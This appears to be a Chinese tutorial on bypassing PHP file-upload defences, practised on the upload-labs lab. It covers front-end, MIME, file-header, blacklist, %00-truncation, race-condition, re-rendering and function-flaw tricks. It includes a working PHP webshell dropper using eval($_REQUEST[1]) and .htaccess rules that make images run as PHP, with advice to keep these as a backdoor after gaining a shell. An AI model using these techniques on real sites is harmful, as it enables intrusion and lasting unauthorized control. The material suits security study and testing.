WEB攻防-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过

1、PHP-原生态-文件上传-检测后缀&黑白名单
2、PHP-原生态-文件上传-检测信息&类型内容
3、PHP-原生态-文件上传-函数缺陷&逻辑缺陷
4、PHP-原生态-文件上传-版本缺陷&配置缺陷

在这里插入图片描述
在这里插入图片描述
文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

测试环境安装参考:

本地使用phpstudy安装upload-labs靶场
https://github.com/fuzzdb-project/fuzzdb

1、前端JS

如何判断是否是前端验证呢?

首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了

在这里插入图片描述
如何绕过?

先上传一个图片后缀抓包改成脚本后缀

2、.htaccess(apache独有的配置文件)

一般上传用的不多,主要用来留后门
apache中,.htaccess文件可以上传并执行
这个文件定义了哪个文件可以以脚本方式运行

方式一:
在.htaccess中写入:

<FilesMatch "s.jpg">
	SetHandler application/x-httpd-php
</FilesMatch>

然后再上传s.jpg的木马, 这样s.jpg就可解析为php文件
最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了

方式二:

AddType application/x-httpd-php .png  

在这里插入图片描述
在这里插入图片描述
当htaccess文件成功上传后,这时候再上传一个png图片的后门,就可以解析成脚本

3、MIME类型

Content-Type:image/png

在这里插入图片描述

4、文件头判断

GIF89a

在这里插入图片描述

5、黑名单-过滤不严

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
无递归(只检测一次,没循环)
pphphp(因为代码中是把匹配到的黑名单替换为空)
在这里插入图片描述

6、黑名单-过滤不严(windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写)

在这里插入图片描述
系统大小写敏感属性
在这里插入图片描述
在这里插入图片描述

7、低版本GET-%00截断

在这里插入图片描述
在这里插入图片描述
自动解码一次
/var/www/html/upload/x.php%00
在这里插入图片描述
在这里插入图片描述

8、低版本POST-%00截断

在这里插入图片描述
手工解码一次
…/upload/x.php%00 二次解码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

9、黑名单-过滤不严

php3
在这里插入图片描述
利用fuzz思路去跑后缀
字典下载地址:https://github.com/fuzzdb-project/fuzzdb
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

10、逻辑不严-条件竞争

在这里插入图片描述
在这里插入图片描述
1.上传不断发包
在这里插入图片描述
2.请求不断发包
在这里插入图片描述
3.访问创建脚本代码

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

在这里插入图片描述

11、二次渲染(后端语言会对图片进行二次渲染,让图片更好的呈现出来,但是这样就会造成一个图片里插入的脚本代码丢失的情况)

1.先搞个正常图片,上传图片后导出渲染后的图片
在这里插入图片描述

2.对比保留部分,在保留部分添加后门代码
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3.最后利用提示的文件包含执行图片后门代码
在这里插入图片描述

12、函数缺陷

1.使用move_uploaded_file 函数
2.保存的文件名可控
在这里插入图片描述
shell.php/.
在这里插入图片描述